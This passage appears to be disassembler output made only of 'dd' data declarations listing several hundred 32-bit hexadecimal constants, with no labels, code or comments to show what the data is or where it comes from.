		dd 617FEC65h, 0BAF9F065h, 0F7B69A61h, 0F495BAC4h, 0AE8837D2h
		dd 8DCBBB6Bh, 15669A58h, 0E729244Dh, 0D6235F1Ch, 0E9D83246h
		dd 480C5211h, 69CACD39h, 42C48CF2h, 0FB0BE811h,	28E89195h
		dd 724C7AA9h, 552CE36Eh, 184DB240h, 0D4DD5929h,	69A705EFh
		dd 94367B23h, 9C948CFAh, 1F63F269h, 36ED2EC8h, 0B4F85380h
		dd 0E0D1B458h, 0BD312F9Ah, 0D4AA25FCh, 2C6A5076h, 28358F2h
		dd 2F77C77Ah, 0D2D80FD6h, 0B0BE99Fh, 0F29A6B1Eh, 900627F1h
		dd 0FB77C7E4h, 1AD9E259h, 0D5C7C57Dh, 0D9C8CBD0h, 0A2B0FA0Bh
		dd 58B1F42Bh, 82F97F6Dh, 0B95BD9BAh, 0AB6864EAh, 1ED51231h
		dd 538AB875h, 5BC5305Fh, 776009A7h, 5697512Fh, 206D6C6Eh
		dd 15B4BD93h, 643E2D22h, 72515D6Bh, 2109059Dh, 0B4B73844h
		dd 0BF64DA84h, 0C18585A9h, 61C820A5h, 331559Dh,	0F1AF0CB9h
		dd 0E9B84844h, 78C2150Ah, 0CE3F4083h, 0F36D0075h, 84601E02h
		dd 0D998460Ah, 0CAC9193Dh, 0FFEF1AA8h, 6422D650h, 0A41F05C9h
		dd 0E3D295A8h, 2BB6AA7Dh, 78D32998h, 2F03214Fh,	0C0BF6827h
		dd 615981C8h, 97CEED10h, 0F626A657h, 0E6F5C9B5h, 0C69EB8EDh
		dd 12938433h, 5E1B9EDDh, 4501A5D1h, 10768C80h, 0D6F1AFABh
		dd 64F68D9h, 0C049F829h, 39EC8637h, 711757B0h, 53CE9357h
		dd 5267AE60h, 462653F3h, 0DAEE3F5Bh, 0FEF857E3h, 0E8A99530h
		dd 1D89073h, 4B307B00h,	8E79C9B2h, 0C288EF67h, 0CC26FF56h
		dd 81074158h, 0B82DFD8h, 80960F8Eh, 0B68E36F5h,	4AE32526h
		dd 37C9CB0Ah, 18A0EB4Dh, 0A1E09D2Ah, 330BA332h,	0E542A897h
		dd 22E93023h, 33397675h, 0ABA9BE6Fh, 6E0DCD51h,	0AFCFAB67h
		dd 347D725Dh, 146421A9h, 3AF91B07h, 90CE971Bh, 0AF6DE937h
		dd 5D43C0Ah, 1998A510h,	0AB4449CDh, 553AAFE3h, 1E5145F4h
		dd 0DAEAFD79h, 0DCC99E08h
		dd 0A22B1B53h, 0CDA9CDA4h, 53CD30B6h, 5C98879Bh, 0A672BE8Eh
		dd 98681BC5h, 14CDCA5Dh, 5D9EC79Dh, 4D2C736Ah, 0BEC82D98h
		dd 954DDCA5h, 19417994h, 0CAE09E64h, 4A44E019h,	0FDB061CDh
		dd 0D95CB2ECh, 0F39D3EB9h, 0AF9F24CFh, 2926FF34h, 0E3DD8176h
		dd 0CA634444h, 0F17DEE21h, 619C2866h, 71497D8h,	6C4801EFh
		dd 0DAAE594Bh, 200B90AEh, 0B57CAEC6h, 9C8C6BC7h, 2F171621h
		dd 6827102h, 0DEE6590Bh, 0F2E22DC4h, 0A15AEB99h, 15250969h
		dd 0B4210C61h, 0C547CFADh, 0ABD7085h, 761CBAD9h, 6166344Dh
		dd 3A1C243Fh, 7C6DA9E3h, 0F36F88C7h, 0E8FC63DFh, 17A8767Dh
		dd 0AB396717h, 3A6DF529h, 44BF9A7Ah, 19F3C087h,	42152607h
		dd 0E5D08455h, 2987B60Dh, 0C72F8D1Bh, 0F02F6B43h, 0DEF44D24h
		dd 43513284h, 698DEEB1h, 0FE58CB2Ch, 22A71A39h,	0EAE7CBE6h
		dd 8F57362Fh, 59D66F43h, 9759F01h, 68BAD1ADh, 83113A8h
		dd 6AAB1FFAh, 0EB5A287Eh, 7B49C68Bh, 70521EDBh,	0A2B5CE03h
		dd 89480D93h, 0B98F5019h, 0D1CA2F27h, 7BC45BB4h, 0BEE641B7h
		dd 2397B40Fh, 7683415Fh, 738A11B5h, 0E93DE29Ah,	22AA94B3h
		dd 5DB1AE08h, 7177DE5Dh, 77D2F91Fh, 9A9FB5D8h, 4FD39796h
		dd 0E8038135h, 462D4080h, 0FF3C465Bh, 49EB7805h, 9589BF8Dh
		dd 6D9D8D33h, 0D576B651h, 0E4722EBh, 9E74427Ah,	94215EE0h
		dd 0FED43448h, 0D3E8DAC9h, 98A1F98Eh, 1030949Eh, 2263A45Dh
		dd 1F6DCD24h, 472BC220h, 31C82FFDh, 7D4AD7A4h, 7F0B5733h
		dd 89D2454Ah, 8BD72833h, 0C32D89DBh, 672221D1h,	0EEE73F12h
		dd 526ECD06h, 0E1B560ECh, 9E15BDB5h, 0B63D8D5Eh, 491B2ACCh
		dd 0A4F42082h, 0EE0418BBh, 0F5200CABh, 2FF3634Fh, 0BC77D9E2h
		dd 0C30F27ADh, 0CAD92706h, 0C3F6C1C2h, 5AE5DA53h, 0E889E0E1h
		dd 130BC315h, 8783FE54h, 0BC7E1A2Fh, 0C5077567h, 1BA083CEh
		dd 2EE42083h, 67F02E5Ah, 74761E4Bh, 0E22BCB41h,	0BA33C283h
		dd 0D812DAE0h, 1B4762DBh, 23257F7Ah, 7B7D93Ch, 2D0EE76Dh
		dd 0F566A9Ah, 9253E883h, 554930E6h, 7E0A8BFh, 0D989E76Ah
		dd 15A1AE9Eh, 5BF9FB40h, 215ED2F7h, 28BEB352h, 0E506C069h
		dd 0D5C484Ah, 86DB3006h, 0C8DCC670h, 984D7388h,	0BE3AA301h
		dd 2BBDBF0Ah, 0BEC0B699h, 0BD2F74F0h, 782DD7B4h, 22B358A7h
		dd 36368A86h, 0A63888B6h, 0DBF8D1Bh, 4384368Fh,	9C4D241Ah
		dd 0AAED5E6Bh, 47EB8B7Eh, 10301884h, 738C8F67h,	79D0B346h
		dd 0D6D4D385h, 10E65C55h, 5D3C4A29h, 953EBCF1h,	29CCE35Ah
		dd 0A9FD08E8h, 0B891DDD1h, 0AD31B8C8h, 0DC229C85h, 0F26CB63h
		dd 81EE1F2Ch, 0A13B4E9Eh, 0FCF5D6E8h, 54F508B2h, 46E68E20h
		dd 5DDCEB8Dh, 0D050C9A9h, 21E533C7h, 94BE371Dh,	0C9FBC80Bh
		dd 9725A804h, 7F03E03Dh, 28AB23A3h, 8EB2BD70h, 0F92460BFh
		dd 0FBEA234Fh, 6E8AF748h, 0F95A31E8h, 4338C900h, 8DAC2716h
		dd 1F612742h, 93A5745Fh, 66700539h, 0C890EB0Bh,	6F844CB4h
		dd 12B21AC9h, 0A2FB4884h, 0E413E36Fh, 13CBE8FBh, 63A40146h
		dd 2FEBC981h, 7609CED7h, 4E3F02DFh, 0B1AEBA3Eh,	0B2909426h
		dd 3014C020h, 0EA164D6Dh, 0D4652D5h, 2C89C146h,	5EC2BB7Bh
		dd 11A2C484h, 0FDF3D5E5h, 5309944Eh, 7DFD022Fh,	3E83EC3Bh
		dd 3AF9022h, 9DC2E140h,	0D3717C7Fh, 94CA1E98h, 5F154DE9h
		dd 0D0A5B033h, 0A9EA2837h, 0D0021D79h, 6ADF4Ah,	316871Ah
		dd 27555C63h, 58B07EB8h, 17F99DA5h, 21EBDA80h, 3D15E12Dh
		dd 0CD9316Eh, 51BD83F7h, 0E693D3E3h, 0B81BE1Ah,	0E32E3FE5h
		dd 670EC054h, 510150A9h, 2EC620D4h, 54BC6EF6h, 141B1D47h
		dd 0C4C040D2h, 0CD35D485h, 88739B37h, 0C17C0086h, 5AB0CF22h
		dd 2AFF35BAh, 7251F89Ch, 8510F520h, 77EFF4EFh, 0EAE88AC9h
		dd 0FAB6E9C4h, 0B02917B7h, 7EC247B9h, 42FB1BB3h, 0EC8C672Dh
		dd 6F4A5607h, 3E5F2D36h, 98EFF251h, 555847BFh, 4E375A90h
		dd 0C8241938h, 8D48ABEh, 1B40F2FAh, 81C50D6Bh, 0EAB23AF7h
		dd 9369F88h, 0A8F64C41h, 0A50C5F78h, 7A224819h,	0C4D77615h
		dd 9DB0FA7Eh, 0D2362588h, 43FB4A79h, 0E9B8A5CCh, 8550EED8h
		dd 0FD80311Bh, 0BFEB464h, 7CDDA96Bh, 9E60047Ch,	0EDB0EF2Eh
		dd 0C459A89Eh, 0C3B37806h, 0FDE450EAh, 95660ABFh, 29AA065h
		dd 437A8C79h, 0FAE18CB7h, 0AD75941Fh, 8D544E6Eh, 0D2DBDC6Bh
		dd 8BD89D74h, 9C916C91h, 15CC5A15h, 0E3D5FA78h,	7EE3A34Fh
		dd 0E001C2A4h, 1E046EDEh, 53F306ADh, 0C5B982Ah,	0EA8193B5h
		dd 0C96884A5h, 171E2695h, 13A02792h, 6F21F688h,	5BC577A6h
		dd 0C8E5ACE5h, 49F901D7h, 9777C819h, 93A1819Dh,	9C284BF3h
		dd 9E5B3620h, 31DA489Ch, 9B3685F0h, 4BE7AE58h, 0F22823h
		dd 0F288B482h, 0C5A9F1h, 0A0828E6Dh, 44783FAFh,	270164E2h
		dd 212BD541h, 0BE768CBAh, 83D32478h, 0A4F1C61h,	0D53F10Eh
		dd 6F5D8A64h, 6F7D8879h, 0BCD210FBh, 72B745Ah, 0B9D366F5h
		dd 8A4F1C6h, 9F4D582Ch,	6CEE670Ch, 3B21577Ch, 0AB6E5A68h
		dd 0FB080F17h, 0D4D66E1Fh, 5138B666h, 980479E0h, 0D8C6A6C0h
		dd 2311E424h, 2D16856Dh, 8A89EFAAh, 3AC9F7E2h, 36D00133h
		dd 67F3ABFEh, 9FBB0E46h, 7B684220h, 0BA6C05D0h,	582AA8Dh
		dd 884A814h, 2B79C6CDh,	0D122DDD5h, 0B9351D55h,	9946CF52h
		dd 0FCE24641h, 0BB55D94Dh, 0CBD83525h, 5094A5D3h, 2C3DCE23h
		dd 8EDF114Dh, 73032BC0h, 2AC50066h, 6895EA0Eh, 4E7F0871h
		dd 7DDBFC4Eh, 0C1BA78A4h, 0D6972C6Bh, 46F58A9Dh, 0EA9554Ch
		dd 4E8C035Ch, 36C16AA2h, 78631C3Dh, 0B4B6E9Fh, 6DAA7FCh
		dd 287CBC74h, 483572FEh, 0D1F24D4Ch, 0E37DD082h, 649D02F6h
		dd 0A9BAD851h, 8661A1FCh, 5600E5CBh, 7B23E81Eh,	852E5A8Fh
		dd 0DE395A3Ah, 2E5FA60Eh, 45B367E2h, 8F92E0DDh,	6D1CD9C2h
		dd 258F1178h, 0A4AD9F7Fh, 5A4D5541h, 21FAE5C3h,	36410893h
		dd 0FF1D4AD1h, 7C40858Ch, 2E06449Eh, 33DDE24Bh,	9C35C770h
		dd 3BE9D9C8h, 5AECDA43h, 70A74EACh, 48943F77h, 779C5D27h
		dd 594241B1h, 33768F1h,	0CF7587BAh, 3CAE1A47h, 288344Eh
		dd 6993ECA8h, 98D8F3EEh, 63FAFB0Bh, 0FF652FF9h,	468B0029h
		dd 1E036719h, 21FC6471h, 6E38D7C5h, 0EACD745Eh,	0DDF34FCBh
		dd 0D57595ECh, 3ADDC7B8h, 0AC2E9F6Bh, 0E78099E0h, 9EB264E0h
		dd 7E4AA486h, 38D0836Ch, 32A44762h, 792708B8h, 26073869h
		dd 7FFA013Bh, 0E56D68C6h, 0BBE5BAC2h, 0ED2C9141h, 0CEA56C9Bh
		dd 77D6D9BCh, 501AF18Eh, 3E48EC3Eh, 44B524C5h, 6BBB610Ch
		dd 5A2D1CFCh, 0BB66BF44h, 0F3030272h, 0CBE4AC6Eh, 0CDAB00C0h
		dd 855D89FDh, 3DBD23D8h, 0FD0F8766h, 7D596003h,	0B481376Ch
		dd 2417EA8Ch, 808995FAh, 117FB3A2h, 3FBEDC9Fh, 93C79C0Eh
		dd 5849C030h, 6EA056EAh, 2A4A1BD1h, 0B4F0FB8h, 43CAC9E1h
		dd 4C2B7D43h, 2FD0F54Ch, 800A1E02h, 75DA5262h, 1B00DC81h
		dd 5044C81Dh, 0D8E3EB39h, 0E496A558h, 0B0E43B14h, 0C5F5A30Ch
		dd 0C9E4C8DAh, 861D8CD9h, 0C55E806Dh, 9026E658h, 0A239A10Ah
		dd 4D948E02h, 0F7ED066Ah, 0F4EE93C8h, 810E3617h, 3D1473DBh
		dd 73D4EC37h, 5789A221h, 30A764A8h, 0E17E4859h,	4405C522h
		dd 5DE33EB0h, 2E57A738h, 0BD67F17Eh, 0A7A7204Eh, 49DC8D4h
		dd 73CB7EA0h, 2C4B9D3Ch, 7D925ED8h, 7E560DCFh, 0CAF60C4Eh
		dd 75A3D5CFh, 1EAA35F9h, 54064CF2h, 0C5A44932h,	0E9599B43h
		dd 308849CAh, 0B0074C84h
		dd 7E23C213h, 0AAA91D59h, 0F9E30332h, 2C39FE36h, 0DE8E234Eh
		dd 434BF6DEh, 0FDD41A9Bh, 0A9021E44h, 0A5190793h, 466AAAD9h
		dd 0C5B39082h, 0F7650297h, 0A6B5787h, 9988154h,	0E4E2757Bh
		dd 494B2DB3h, 5577D773h, 10686078h, 73452685h, 0A5511A0Ah
		dd 0DC510A64h, 0BC914484h, 3342A8A8h, 96F98B2Fh, 4521B4EDh
		dd 927763D6h, 0FEE39F18h, 0A5FE72BCh, 33885A1Ah, 7C29A9Dh
		dd 288381ABh, 415435ECh, 91E9D2A4h, 42C1B4F5h, 0FA194B37h
		dd 6B7C8AF7h, 1250B075h, 0AC002283h, 0CBD901A9h, 0FE0CFAFCh
		dd 6A49391Ch, 52EFC83Fh, 90B4500Ah, 0DD8A78D9h,	0C06A07EAh
		dd 0F886884h, 7FF38B54h, 0D713D8DEh, 0DA4B62EEh, 4AAEFF09h
		dd 0F4D02D30h, 0ABC83A60h, 16C827ABh, 94580E16h, 49E08F58h
		dd 23C3B3E3h, 723DE55Eh, 6319312h, 0C884D721h, 19F01A50h
		dd 84B17184h, 0E9F402ECh, 89E0AD47h, 0F02C024Bh, 72809B22h
		dd 0BAC9BD9Dh, 4F2B1490h, 4F9958A9h, 0B89EA1A4h, 340C6E2Dh
		dd 99FA9B49h, 0A51D8910h, 0E5D020A4h, 0A6423619h, 59E69184h
		dd 578585ABh, 706D1454h, 3ED539E8h, 0D7700B97h,	0AD1D4FCBh
		dd 0FC2713AEh, 0B7C7AE1Dh, 8043D4C8h, 3F57128h,	696EC078h
		dd 52168B22h, 5BF2A95Fh, 9130109Dh, 0A381DC11h,	7CCCB0ADh
		dd 7AC0A0EFh, 159C87ACh, 0A67376DDh, 729D29BDh,	156DCAB1h
		dd 0DE2C7B08h, 0ACD19DC0h, 8A2AE456h, 0F3932963h, 2A506470h
		dd 0DFCB3148h, 49A57A70h, 0E71EC35h, 87F4556Ch,	8A9684F5h
		dd 0D8E60F33h, 272454E0h, 58063BC7h, 0B39F997Dh, 0FE4A8CABh
		dd 57556CF8h, 33DBB3DEh, 34996CCDh, 6D26976Dh, 0A93E6919h
		dd 9BA7F4Bh, 61AAF4EEh,	0A9DF7411h, 738C0DDFh, 2CEA1684h
		dd 1B8BFAB2h, 64158A6Ah, 517C88D4h, 7A075B38h, 0E8B814FDh
		dd 77C78776h, 18045AC1h, 0C2DB46CAh, 0FB5A4119h, 0D6AAA1B3h
		dd 5C2A8C5Eh, 0CC949E1Ch, 34466E3h, 83452444h, 0F9AE2322h
		dd 0DD69DAEFh, 0D16122ACh, 0CE2439Ah, 0E8A85147h, 81C5560Bh
		dd 7A83DFBh, 7C07F29Ah,	0CEAB5B50h, 635FF093h, 0AA163326h
		dd 0F22417F6h, 0F1A80B3Ah, 2FB6E94Eh, 0D28D049Bh, 0CC21599Bh
		dd 0C40086Eh, 0BEEC7138h, 0E55C6148h, 0D8EAC7FFh, 0ED8D230Ah
		dd 72C700E6h, 7F41FFC3h, 350476Dh, 0C22F1DF2h, 912319C4h
		dd 2D7845EDh, 0EEDD9840h, 0DC7F5419h, 0DA79DC74h, 5E7B5102h
		dd 5985B45h, 63DA225Ah,	87F8F72h, 5B1CC258h, 0F2772A5Eh
		dd 6353852Ch, 0AB914780h, 0C391DC60h, 27914CCFh, 27EF7BCAh
		dd 9D05F589h, 3B089722h, 9AD396F9h, 1B149D2Dh, 0BEBB3EC4h
		dd 1AE52A97h, 64BF8129h, 0A53AECABh, 9FABC637h,	620CA6A4h
		dd 197FD3D6h, 1DF0B58Eh, 0C8671893h, 0A19F47F8h, 9438DD87h
		dd 83D5652Bh, 83F64023h, 0C90892CAh, 4BD9236h, 87671033h
		dd 3EBC1C73h, 2E9B356Bh, 0C4C8BE44h, 0CA376ECh,	0C19065F6h
		dd 0B1CCF52Fh, 0F4AB1376h, 37C0A25Ah, 465DC674h, 0C94DFA23h
		dd 0B14F4178h, 0DA8D8855h, 406D878Bh, 2BE83DA9h, 905A01FBh
		dd 0B62C9C08h, 3E61DF05h, 0FEC7D3EFh, 232ECEB3h, 9E00693Fh
		dd 3E4BD08Ah, 0AA510CB8h, 0C83FAE7h, 0FA6BE56Bh, 8B2752A8h
		dd 0FDA29867h, 52DBD2B8h, 0CCEDCCB8h, 4692BFFAh, 5B2DE83Fh
		dd 0B551F572h, 0B9AEC2A5h, 0F1D94B48h, 0F7B4D8C1h, 785B9338h
		dd 871A869h, 436695D5h,	35BAC817h, 8019ECF0h, 18CAD679h
		dd 2B9C0F7Ah, 0F4881929h, 0BC57473Bh, 1CE497F4h, 95CC6472h
		dd 4987FD27h, 0C8175C27h, 5A3C543Bh, 2858108Ch,	7E57DBB5h
		dd 5531A3FAh, 0F20E6A06h, 6433A21Bh, 219C2B3Ch,	667EB19Bh
		dd 3A70BB99h, 4C54092Dh, 5FEF7E04h, 0F4EDE20Fh,	29912011h
		dd 4C25E945h, 0F525095Ch, 0D40D50C9h, 5A8335B9h, 0E7F218ABh
		dd 4A445E9Fh, 0A8B24C3Bh, 9189D7F4h, 8205D5F9h,	80089045h
		dd 3053F9F5h, 0F0BBD03Ch, 28DCABB5h, 23F650D0h,	8445F8F5h
		dd 7D1FD477h, 0CC8C235Fh, 0C1D4506Bh, 0F14510CBh, 567B87B1h
		dd 0B11F2FD6h, 697F0462h, 0FE7575B7h, 2D441C85h, 4B1A12CCh
		dd 1961E57Dh, 554D639h,	0EECC27B9h, 0B3A9C521h,	32077406h
		dd 126D9731h, 0FD708176h, 0FBD53610h, 183E867Bh, 8FDC5271h
		dd 247B6ECFh, 2B9787Eh,	321B13AAh, 2E0EA15Dh, 0A708EB0Eh
		dd 4E340FD7h, 624727BEh, 500D7849h, 8DC51B06h, 0C5F55E75h
		dd 71D303Dh, 8E68A8C8h,	8E6B7AD7h, 0E381B9B6h, 0A83FA72Eh
		dd 4C041CD6h, 942BDD6Fh, 1E9E0B3Bh, 53345178h, 0E88C42B9h
		dd 0CF2F3312h, 0FDA43D32h, 988333D6h, 964A1A1Dh, 6C0B03C4h
		dd 47427F3Bh, 0FC564B22h, 4F90AC29h, 641CC2C4h,	6C00CEDh
		dd 39333ED9h, 0C4382757h, 0FCE9CD4Dh, 5621A11Ch, 9E814407h
		dd 0CF055FC9h, 5B176D89h, 0F9359DB3h, 6EDF3A0h,	16670DA9h
		dd 9216171Fh, 83C9B077h, 6BE445C3h, 173C7728h, 0E1194785h
		dd 4CD87D7Eh, 0D076FC61h, 0BCBD6CD9h, 32AEDCB0h, 4D82DC85h
		dd 0E0DBC07Ch, 0D5228A61h, 4E981247h, 8E536092h, 0C5C005C0h
		dd 0A6AFA8E5h, 0A6FCF610h, 8F3B51Bh, 262CB099h,	65A2C60Dh
		dd 5E962406h, 800077B3h, 944C47B0h, 88B6D6DFh, 9D275B5Eh
		dd 96897F2Ah, 0B634D28Fh, 85404FE9h, 0B665A296h, 292761E8h
		dd 0BB776272h, 0BA3A63E2h, 1A824A01h, 0FE565F37h, 129F2FC4h
		dd 5FAF0EDh, 0B02EA976h, 5C8A3CCDh, 0B10A05ACh,	0B1132198h
		dd 0AADD9ADEh, 0E3641CFEh, 9BE35164h, 4E44657Ch, 9B3FB63Ch
		dd 789DAFDDh, 2450A7D9h, 97F3BE51h, 1B7E4833h, 3B641103h
		dd 0A03F35E5h, 84717BD2h, 0EB64EB7Ch, 3C79F8FDh, 3499CA08h
		dd 5C15F7C0h, 8EFA7A35h, 0E3E5A371h, 276C739Ch,	0EB3850A6h
		dd 82EFCD35h, 5B0B77B9h, 35AA209Ch, 91FA6428h, 5693154Ah
		dd 0F649E33Bh, 0C18BAC7Fh, 6AF34885h, 63609077h, 0ED0BE372h
		dd 570FDB0Ch, 0B5329DE8h, 771CAB1h, 5515F7AFh, 5560B97Ch
		dd 0B6501473h, 0B2B2EC65h, 0B401F3E5h, 35DCDB77h, 920C209Bh
		dd 0C161919h, 7EC87DA0h, 0AFE7385Bh, 2495B174h,	1023A8D7h
		dd 2AE21B9h, 20304A8h, 77C75498h, 0BDEA6583h, 5B1E1A7Dh
		dd 0B5DFC187h, 0ACCFEE5Bh, 1E45A8DFh, 0F26FC881h, 6B292092h
		dd 0FC060626h, 1B19A6A4h, 0C59FBAA8h, 37CB2A96h, 10A8D595h
		dd 0C82FEBB0h, 192AC37Dh, 0E01C1E33h, 0A8876176h, 9E67BDA8h
		dd 408902F0h, 0A35FD35Ah, 0EBFB9942h, 877BE697h, 0B0187E2Ch
		dd 21B0148Fh, 3469ECA0h, 106A620Bh, 4564886Eh, 0D66AB1C5h
		dd 4BFF2110h, 0AE307A6Eh, 8D7FC964h, 0C473E57Eh, 0EA96EB45h
		dd 0C6027EB3h, 755ACAFFh, 7DCAD92Dh, 60DAA6B2h,	0D67D2C22h
		dd 368176C9h, 0D96A18EFh, 0A344AD38h, 0D638B23h, 2944235Bh
		dd 40B3E843h, 461AEF26h, 11506160h, 1005BFF5h, 44B14A62h
		dd 0EFAB30ACh, 5DED397Bh, 6C2C73A7h, 76F39BEAh,	0E515769Bh
		dd 11C07D37h, 61DADD27h, 0F498DCF2h, 0DC5E064h,	0E9B2467Dh
		dd 11B682B6h, 64E6C451h, 0B3D183DFh, 6F8A13A5h,	0B8DF1E5Fh
		dd 603E0DCDh, 0B92265C6h, 689C6436h, 456EDED4h,	550CCBBFh
		dd 0FE76C795h, 0B8BC24D1h, 56599C38h, 57AF0ECBh, 115F3A2Fh
		dd 0E77CB778h, 0A24BD4D1h, 0DB2DE7B1h, 9A289DDEh, 0B8551181h
		dd 775156C3h, 7C49836Dh, 21ABF7C0h, 0ACCE7366h,	1F074F28h
		dd 0A6FB3438h, 955E5118h, 2BD994D2h, 9DB8E405h,	0A974B875h
		dd 0F8EB655Ch, 3DA3BDF1h, 8340107Eh, 783F6EC3h,	68F4C092h
		dd 0BC6492EEh, 7447798Bh
		dd 0C60731B7h, 2861824Fh, 0C3C6AEACh, 6D06273Fh, 0D8DFD85h
		dd 0B98F6F94h, 85B72A0Eh, 61991A75h, 4AE41F0Ah,	0C52A0005h
		dd 9DAA9111h, 0F8285FDEh, 4102C28Eh, 612FF816h,	3B629785h
		dd 8B2C7506h, 27AE329h,	114B2FB8h, 21C8B977h, 0C7CD3B0Dh
		dd 54F21109h, 0F20A9766h, 9D36A184h, 30BD301Ch,	9274F237h
		dd 96229CA5h, 93BA305Fh, 5E49BB9h, 20D8B98Ch, 0A1715A84h
		dd 58600CAEh, 58F068E0h, 0CB634C11h, 0B7A1D5Fh,	5F4DDE2Ah
		dd 0F79949EAh, 838E3EB0h, 7C93F209h, 83DB1F0h, 0C2576928h
		dd 0CF3033A9h, 0AFEF4640h, 1EB2B786h, 0C8C64E52h, 0EEBD33D8h
		dd 27E7EB99h, 7BEE7F16h, 2B59F569h, 0BFFBB3A1h,	0BA1B897Ch
		dd 34C6B8Fh, 74C0A66Ah,	357B69C9h, 0A3D1570Ch, 2CE99A76h
		dd 83A32CB6h, 94CBF802h, 78462274h, 3249B7CBh, 3D497021h
		dd 2385A65Dh, 6BA9B147h, 166BCA19h, 9B99740Ch, 0B0A20760h
		dd 0CB7888Ah, 6B1ED317h, 5C1F7E3Fh, 68CA0C16h, 5F33FDFDh
		dd 7947D2DAh, 13B659A3h, 5C0A1594h, 0E1BD879Fh,	0BCCD5D0Bh
		dd 696CC1EBh, 50532633h, 8E1530A3h, 0DCCE268h, 366B6AEAh
		dd 49391CC1h, 3607B78Bh, 1A47DBB5h, 0C233C9CCh,	4C20D4B6h
		dd 4646A07Fh, 0DF75FA6Ch, 0F73DA2F7h, 325FC3DAh, 4E83E7Fh
		dd 795428B9h, 0ADDDA736h, 51ABB66Dh, 96B1E42Fh,	30DF2650h
		dd 88D75351h, 0C49728D5h, 504892F1h, 0D590EA3Fh, 6C30BA22h
		dd 0B307930Ch, 5326BCD7h, 0BED680F9h, 1C44233Eh, 6799596Ch
		dd 0EEF3C6B0h, 0AF30BBFDh, 1F3A833h, 1314EE57h,	4AFDBB8h
		dd 0D459D6D9h, 869F12B7h, 0FF390AE7h, 9EBCD425h, 7D914F02h
		dd 499BC3F5h, 33DFFDCAh, 0FDC64A31h, 0F8CF9D33h, 0C864C344h
		dd 0EAFB48E2h, 10D75B40h, 0BE14A839h, 8235DF51h, 9D0FABEEh
		dd 0C157E63Ah, 81CB0EF4h, 0C9AF54F5h, 7341FC4Bh, 2B34DAF8h
		dd 0A75F0F9Bh, 9BD13AC0h, 13BEDE9Bh, 2DB92CCCh,	3B518CA7h
		dd 0C436D2B1h, 0B0D1C873h, 3BE77AB5h, 0A6DD57E6h, 10B71E3h
		dd 0D5738931h, 824A8C31h, 320B855Fh, 0DEE3426Dh, 284210AAh
		dd 3352A427h, 18EF91E9h, 4BDEEF0h, 9246312Dh, 381BC1F7h
		dd 0C484BAACh, 460DF384h, 7D9217D0h, 0A30FCCEDh, 0BC51F73h
		dd 82EFEEAh, 0D9FF79F9h, 0A7738A34h, 0CEC0E3CDh, 0F0DC307Bh
		dd 401F0A85h, 0B3DB0680h, 230262ECh, 263D3C03h,	5ED85635h
		dd 0CD80A3D8h, 8EBD06E5h, 758E9B22h, 3CBAAB42h,	0DE98AD9Bh
		dd 0CA50D8E1h, 0A5BCE3AAh, 6C7FCEDDh, 92DEEA8Bh, 31EF5237h
		dd 2701CDBEh, 301B085h,	32EF1A73h, 0DCCF01D5h, 0AE0297B4h
		dd 87F6E1ECh, 78FC0334h, 77741269h, 0BB2302h, 1CCC7064h
		dd 41DA2A3Eh, 3E0B4CFDh, 0BF5D90E9h, 0CE9ED60Ah, 1D65C53Dh
		dd 9612A53Eh, 817C4FFCh, 4BB28FB9h, 5492DC04h, 0E425FC53h
		dd 0B0208E15h, 20FEF8C3h, 9B5355BCh, 4D147DDEh,	0FF10EAB2h
		dd 7EA49195h, 0B1C5836h, 750F78EEh, 9E744961h, 0F6467CDFh
		dd 0CEE3F2F5h, 3032CB71h, 0A01298AEh, 2E97A67Fh, 592BB6E1h
		dd 47A9EA67h, 98ED8EFDh, 2CDDE174h, 0E4D6ADEFh,	0DBE1A6CBh
		dd 0FD651B57h, 30A7AE61h, 0C613371Ch, 297576DFh, 147B6C60h
		dd 9D7E195Dh, 72B48A0Fh, 0F195F2ADh, 0E5A03728h, 0DEF1EEB3h
		dd 0F60E1334h, 3D731F9Bh, 9C99AEE7h, 6011705Fh,	683BEF07h
		dd 43FC4632h, 509019D9h, 25017480h, 0FC65A5DBh,	720127FEh
		dd 0A1E56333h, 613DF0F9h, 631FA77Ah, 6F27C377h,	0DA061AC2h
		dd 99998C0Fh, 382559CFh, 378BDBB2h, 7A2140E8h, 10E6FE08h
		dd 9192323Eh, 69FBAD2Dh, 99466362h, 1FBF9BD2h, 1B35F5E1h
		dd 0B6656AFAh, 2A97B1C9h, 5426B9E3h, 25638750h,	89F8ECF2h
		dd 0A0BE7D27h, 31E43179h, 5E96DB04h, 0E87C171Dh, 0C3980B1Eh
		dd 68C39090h, 0CEE5E041h, 0C4598723h, 0B1B8983Bh, 470A706Eh
		dd 0B6AEE4CCh, 0D4D32E73h, 0D3D10B07h, 66D3E38Ch, 3782F27Bh
		dd 41F4D399h, 8DAE3C2Bh, 6579AB63h, 0CFACFB10h,	0F58D8857h
		dd 8915213Ch, 3A7981ABh, 70AA89F9h, 0A0D57C75h,	0F291C04Eh
		dd 0DB9A4885h, 4C894683h, 5FDA8AB0h, 372CE1C9h,	0C085A3B7h
		dd 0C490C5E2h, 81892BA0h, 373CD455h, 0E1EAC746h, 0BE0DB4Ah
		dd 0E501F3F6h, 57BFEAFEh, 0BB75B258h, 7737D200h, 29DFC9D9h
		dd 97EA2F38h, 9C215109h, 65B99BDBh, 0EF102A62h,	9EAB260Fh
		dd 9CEEC18h, 15A929F6h,	0B9298427h, 722733D0h, 9BBA298Ah
		dd 0AAC55AD3h, 3F702B25h, 0CD4C0B64h, 0C18888C6h, 696FAA68h
		dd 571FFD2Dh, 5304B4Fh,	0BF6FC2C9h, 0EC6AE934h,	0ECF77299h
		dd 0DC55D0C4h, 352745F7h, 14F69CD1h, 30A55849h,	0B1E7DC74h
		dd 961962Eh, 8455BA21h,	0B66D211Fh, 0C3D7948Bh,	1480BCD2h
		dd 5A742CFh, 0C6917E1Bh, 88AE85D5h, 0BB7A4B06h,	0F28BA40Dh
		dd 0D3B5C032h, 18773BCAh, 74030B7h, 85D7B7Fh, 854E5846h
		dd 8BE46FBFh, 0A93AFF43h, 37143E7Eh, 0DA3A818Dh, 1A0827CBh
		dd 114E4E3Dh, 8EFCD3F3h, 6ED17A11h, 0C4CC7510h,	92689589h
		dd 10D3E040h, 5B69F74Eh, 32F43461h, 0C7B06D5Ch,	328149A4h
		dd 8D507A4Bh, 3A6ED6ACh, 9AE12235h, 922914EEh, 92C67015h
		dd 5804B864h, 66375AEFh, 1E6AC7A4h, 24B5F7A6h, 0F848353h
		dd 24398905h, 319F85F9h, 72755DFCh, 91B65050h, 301343D5h
		dd 1A745271h, 0B9F5874Bh, 0F4A20114h, 7CD3BF4Dh, 0BE9E9910h
